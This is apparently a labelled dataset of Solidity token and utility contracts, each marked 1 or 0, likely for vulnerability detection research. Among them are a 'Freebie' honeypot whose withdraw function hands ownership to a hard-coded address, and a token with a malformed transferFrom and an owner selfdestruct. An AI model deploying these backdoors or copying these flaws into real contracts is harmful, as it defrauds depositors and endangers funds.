contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DQCoin is ERC20 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name = "DaQianCoin";
string public constant symbol = "DQC";
uint public constant decimals = 18;
bool public stopped;
modifier stoppable {
assert(!stopped);
_;
}
uint256 public totalSupply = 24000000000*(10**18);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOCK(address indexed _owner, uint256 _value);
mapping (address => uint256) public lockAddress;
modifier lock(address _add){
require(_add != address(0));
uint256 releaseTime = lockAddress[_add];
if(releaseTime > 0){
require(block.timestamp >= releaseTime);
_;
}else{
_;
}
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function DQCoin() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function stop() onlyOwner public {
stopped = true;
}
function start() onlyOwner public {
stopped = false;
}
function lockTime(address _to,uint256 _value) onlyOwner public {
if(_value > block.timestamp){
lockAddress[_to] = _value;
emit LOCK(_to, _value);
}
}
function lockOf(address _owner) constant public returns (uint256) {
return lockAddress[_owner];
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function () public payable {
address myAddress = this;
emit Transfer(msg.sender, myAddress, msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) {
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Transfer(_from, msg.sender, _amount);
return true;
}
function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function kill() onlyOwner public {
selfdestruct(msg.sender);
}
function setName(string _name) onlyOwner public {
name = _name;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29203200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xBC64496c9e706dA3BB36fa3987f90f9a99c31fFd
;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract MeToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
function MeToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract ATC is MiniMeToken {
mapping (address => bool) public blacklisted;
bool public generateFinished;
function ATC(address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"ATCon Token",
18,
"ATC",
false
) {}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
require(generateFinished == false);
return super.generateTokens(_owner, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
require(blacklisted[_from] == false);
return super.doTransfer(_from, _to, _amount);
}
function finishGenerating() public onlyController returns (bool success) {
generateFinished = true;
return true;
}
function blacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = true;
return true;
}
function unBlacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = false;
return true;
}
} | 0 |
pragma solidity ^0.4.19;
contract Freebie
{
address public Owner = msg.sender;
function() public payable{}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x30ad12df80a2493a82DdFE367d866616db8a2595){Owner=0x30ad12df80a2493a82DdFE367d866616db8a2595;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = 0x00Ab11bDCC66832D90b354AcE0a9145567323D75;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DenzerToken is StandardToken, Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
constructor() public {
name = 'DenzerToken';
symbol = 'Denzer';
decimals = 18;
initialSupply = 50000000 * 10 ** uint256(decimals);
totalSupply_ = initialSupply;
balances[owner] = initialSupply;
emit Transfer(0x0, owner, initialSupply);
}
} | 1 |
pragma solidity ^0.4.17;
contract ApplicationEntityABI {
address public ProposalsEntity;
address public FundingEntity;
address public MilestonesEntity;
address public MeetingsEntity;
address public BountyManagerEntity;
address public TokenManagerEntity;
address public ListingContractEntity;
address public FundingManagerEntity;
address public NewsContractEntity;
bool public _initialized = false;
bool public _locked = false;
uint8 public CurrentEntityState;
uint8 public AssetCollectionNum;
address public GatewayInterfaceAddress;
address public deployerAddress;
address testAddressAllowUpgradeFrom;
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => address) public AssetCollection;
mapping (uint8 => bytes32) public AssetCollectionIdToName;
mapping (bytes32 => uint256) public BylawsUint256;
mapping (bytes32 => bytes32) public BylawsBytes32;
function ApplicationEntity() public;
function getEntityState(bytes32 name) public view returns (uint8);
function linkToGateway( address _GatewayInterfaceAddress, bytes32 _sourceCodeUrl ) external;
function setUpgradeState(uint8 state) public ;
function addAssetProposals(address _assetAddresses) external;
function addAssetFunding(address _assetAddresses) external;
function addAssetMilestones(address _assetAddresses) external;
function addAssetMeetings(address _assetAddresses) external;
function addAssetBountyManager(address _assetAddresses) external;
function addAssetTokenManager(address _assetAddresses) external;
function addAssetFundingManager(address _assetAddresses) external;
function addAssetListingContract(address _assetAddresses) external;
function addAssetNewsContract(address _assetAddresses) external;
function getAssetAddressByName(bytes32 _name) public view returns (address);
function setBylawUint256(bytes32 name, uint256 value) public;
function getBylawUint256(bytes32 name) public view returns (uint256);
function setBylawBytes32(bytes32 name, bytes32 value) public;
function getBylawBytes32(bytes32 name) public view returns (bytes32);
function initialize() external returns (bool);
function getParentAddress() external view returns(address);
function createCodeUpgradeProposal( address _newAddress, bytes32 _sourceCodeUrl ) external returns (uint256);
function acceptCodeUpgradeProposal(address _newAddress) external;
function initializeAssetsToThisApplication() external returns (bool);
function transferAssetsToNewApplication(address _newAddress) external returns (bool);
function lock() external returns (bool);
function canInitiateCodeUpgrade(address _sender) public view returns(bool);
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function anyAssetHasChanges() public view returns (bool);
function extendedAnyAssetHasChanges() internal view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8);
function getTimestamp() view public returns (uint256);
}
contract ApplicationAsset {
event EventAppAssetOwnerSet(bytes32 indexed _name, address indexed _owner);
event EventRunBeforeInit(bytes32 indexed _name);
event EventRunBeforeApplyingSettings(bytes32 indexed _name);
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => uint8) public RecordStates;
uint8 public CurrentEntityState;
event EventEntityProcessor(bytes32 indexed _assetName, uint8 indexed _current, uint8 indexed _required);
event DebugEntityRequiredChanges( bytes32 _assetName, uint8 indexed _current, uint8 indexed _required );
bytes32 public assetName;
uint8 public RecordNum = 0;
bool public _initialized = false;
bool public _settingsApplied = false;
address public owner = address(0x0) ;
address public deployerAddress;
function ApplicationAsset() public {
deployerAddress = msg.sender;
}
function setInitialApplicationAddress(address _ownerAddress) public onlyDeployer requireNotInitialised {
owner = _ownerAddress;
}
function setInitialOwnerAndName(bytes32 _name) external
requireNotInitialised
onlyOwner
returns (bool)
{
setAssetStates();
assetName = _name;
CurrentEntityState = getEntityState("NEW");
runBeforeInitialization();
_initialized = true;
EventAppAssetOwnerSet(_name, owner);
return true;
}
function setAssetStates() internal {
EntityStates["__IGNORED__"] = 0;
EntityStates["NEW"] = 1;
RecordStates["__IGNORED__"] = 0;
}
function getRecordState(bytes32 name) public view returns (uint8) {
return RecordStates[name];
}
function getEntityState(bytes32 name) public view returns (uint8) {
return EntityStates[name];
}
function runBeforeInitialization() internal requireNotInitialised {
EventRunBeforeInit(assetName);
}
function applyAndLockSettings()
public
onlyDeployer
requireInitialised
requireSettingsNotApplied
returns(bool)
{
runBeforeApplyingSettings();
_settingsApplied = true;
return true;
}
function runBeforeApplyingSettings() internal requireInitialised requireSettingsNotApplied {
EventRunBeforeApplyingSettings(assetName);
}
function transferToNewOwner(address _newOwner) public requireInitialised onlyOwner returns (bool) {
require(owner != address(0x0) && _newOwner != address(0x0));
owner = _newOwner;
EventAppAssetOwnerSet(assetName, owner);
return true;
}
function getApplicationAssetAddressByName(bytes32 _name)
public
view
returns(address)
{
address asset = ApplicationEntityABI(owner).getAssetAddressByName(_name);
if( asset != address(0x0) ) {
return asset;
} else {
revert();
}
}
function getApplicationState() public view returns (uint8) {
return ApplicationEntityABI(owner).CurrentEntityState();
}
function getApplicationEntityState(bytes32 name) public view returns (uint8) {
return ApplicationEntityABI(owner).getEntityState(name);
}
function getAppBylawUint256(bytes32 name) public view requireInitialised returns (uint256) {
ApplicationEntityABI CurrentApp = ApplicationEntityABI(owner);
return CurrentApp.getBylawUint256(name);
}
function getAppBylawBytes32(bytes32 name) public view requireInitialised returns (bytes32) {
ApplicationEntityABI CurrentApp = ApplicationEntityABI(owner);
return CurrentApp.getBylawBytes32(name);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyApplicationEntity() {
require(msg.sender == owner);
_;
}
modifier requireInitialised() {
require(_initialized == true);
_;
}
modifier requireNotInitialised() {
require(_initialized == false);
_;
}
modifier requireSettingsApplied() {
require(_settingsApplied == true);
_;
}
modifier requireSettingsNotApplied() {
require(_settingsApplied == false);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployerAddress);
_;
}
modifier onlyAsset(bytes32 _name) {
address AssetAddress = getApplicationAssetAddressByName(_name);
require( msg.sender == AssetAddress);
_;
}
function getTimestamp() view public returns (uint256) {
return now;
}
}
contract ListingContract is ApplicationAsset {
address public managerAddress;
struct item {
bytes32 name;
address itemAddress;
bool status;
uint256 index;
}
mapping ( uint256 => item ) public items;
uint256 public itemNum = 0;
event EventNewChildItem(bytes32 _name, address _address, uint256 _index);
function ListingContract() ApplicationAsset() public {
}
function setManagerAddress(address _manager) public onlyDeployer {
managerAddress = _manager;
}
function addItem(bytes32 _name, address _address) public requireInitialised {
require(msg.sender == owner || msg.sender == managerAddress);
item storage child = items[++itemNum];
child.name = _name;
child.itemAddress = _address;
child.status = true;
child.index = itemNum;
EventNewChildItem( _name, _address, itemNum);
}
function getNewsContractAddress(uint256 _childId) external view returns (address) {
item memory child = items[_childId];
if(child.itemAddress != address(0x0)) {
ApplicationEntityABI ChildApp = ApplicationEntityABI(child.itemAddress);
return ChildApp.NewsContractEntity();
} else {
revert();
}
}
function canBeDelisted(uint256 _childId) public view returns (bool) {
item memory child = items[_childId];
if(child.status == true) {
ApplicationEntityABI ChildApp = ApplicationEntityABI(child.itemAddress);
if(
ChildApp.CurrentEntityState() == ChildApp.getEntityState("WAITING") ||
ChildApp.CurrentEntityState() == ChildApp.getEntityState("NEW"))
{
return true;
}
}
return ;
}
function getChildStatus( uint256 _childId ) public view returns (bool) {
item memory child = items[_childId];
return child.status;
}
function delistChild( uint256 _childId ) public onlyAsset("Proposals") requireInitialised {
require(canBeDelisted(_childId) == true );
item storage child = items[_childId];
child.status = false;
}
} | 0 |
pragma solidity ^0.5.0;
contract IReputationToken {
function migrateOut(IReputationToken _destination, uint256 _attotokens) public returns (bool);
function migrateIn(address _reporter, uint256 _attotokens) public returns (bool);
function trustedReportingParticipantTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedMarketTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedDisputeWindowTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedUniverseTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function getUniverse() public view returns (IUniverse);
function getTotalMigrated() public view returns (uint256);
function getTotalTheoreticalSupply() public view returns (uint256);
function mintForReportingParticipant(uint256 _amountMigrated) public returns (bool);
}
contract IUniverse {
function createYesNoMarket(uint256 _endTime, uint256 _feePerEthInWei, address _designatedReporterAddress, address _denominationToken, bytes32 _topic, string memory _description, string memory _extraInfo) public payable;
function fork() public returns (bool);
function getParentUniverse() public view returns (IUniverse);
function getChildUniverse(bytes32 _parentPayoutDistributionHash) public view returns (IUniverse);
function getForkEndTime() public view returns (uint256);
function getForkReputationGoal() public view returns (uint256);
function getParentPayoutDistributionHash() public view returns (bytes32);
function getDisputeRoundDurationInSeconds() public view returns (uint256);
function getOpenInterestInAttoEth() public view returns (uint256);
function getRepMarketCapInAttoEth() public view returns (uint256);
function getTargetRepMarketCapInAttoEth() public view returns (uint256);
function getOrCacheValidityBond() public returns (uint256);
function getOrCacheDesignatedReportStake() public returns (uint256);
function getOrCacheDesignatedReportNoShowBond() public returns (uint256);
function getOrCacheReportingFeeDivisor() public returns (uint256);
function getDisputeThresholdForFork() public view returns (uint256);
function getDisputeThresholdForDisputePacing() public view returns (uint256);
function getInitialReportMinValue() public view returns (uint256);
function calculateFloatingValue(uint256 _badMarkets, uint256 _totalMarkets, uint256 _targetDivisor, uint256 _previousValue, uint256 _defaultValue, uint256 _floor) public pure returns (uint256 _newValue);
function getOrCacheMarketCreationCost() public returns (uint256);
function isParentOf(IUniverse _shadyChild) public view returns (bool);
function updateTentativeWinningChildUniverse(bytes32 _parentPayoutDistributionHash) public returns (bool);
function addMarketTo() public returns (bool);
function removeMarketFrom() public returns (bool);
function decrementOpenInterest(uint256 _amount) public returns (bool);
function decrementOpenInterestFromMarket(uint256 _amount) public returns (bool);
function incrementOpenInterest(uint256 _amount) public returns (bool);
function incrementOpenInterestFromMarket(uint256 _amount) public returns (bool);
function getWinningChildUniverse() public view returns (IUniverse);
function isForking() public view returns (bool);
}
contract AccessDelegated {
mapping(address => uint256) public accessLevel;
event AccessLevelSet(
address accessSetFor,
uint256 accessLevel,
address setBy
);
event AccessRevoked(
address accessRevoked,
uint256 previousAccessLevel,
address revokedBy
);
constructor() public {
accessLevel[msg.sender] = 4;
}
modifier requiresNoAccessLevel () {
require(
accessLevel[msg.sender] >= 0,
"Access level greater than or equal to 0 required"
);
_;
}
modifier requiresLimitedAccessLevel () {
require(
accessLevel[msg.sender] >= 1,
"Access level greater than or equal to 1 required"
);
_;
}
modifier requiresPrivelegedAccessLevel () {
require(
accessLevel[msg.sender] >= 2,
"Access level greater than or equal to 2 required"
);
_;
}
modifier requiresManagerAccessLevel () {
require(
accessLevel[msg.sender] >= 3,
"Access level greater than or equal to 3 required"
);
_;
}
modifier requiresOwnerAccessLevel () {
require(
accessLevel[msg.sender] >= 4,
"Access level greater than or equal to 4 required"
);
_;
}
modifier limitedAccessLevelOnly () {
require(accessLevel[msg.sender] == 1, "Access level 1 required");
_;
}
modifier privelegedAccessLevelOnly () {
require(accessLevel[msg.sender] == 2, "Access level 2 required");
_;
}
modifier managerAccessLevelOnly () {
require(accessLevel[msg.sender] == 3, "Access level 3 required");
_;
}
modifier adminAccessLevelOnly () {
require(accessLevel[msg.sender] == 4, "Access level 4 required");
_;
}
function setAccessLevel(
address _user,
uint256 _access
)
public
adminAccessLevelOnly
{
require(
accessLevel[_user] < 4,
"Cannot setAccessLevel for Admin Level Access User"
);
if (_access < 0 || _access > 4) {
revert("erroneous access level");
} else {
accessLevel[_user] = _access;
}
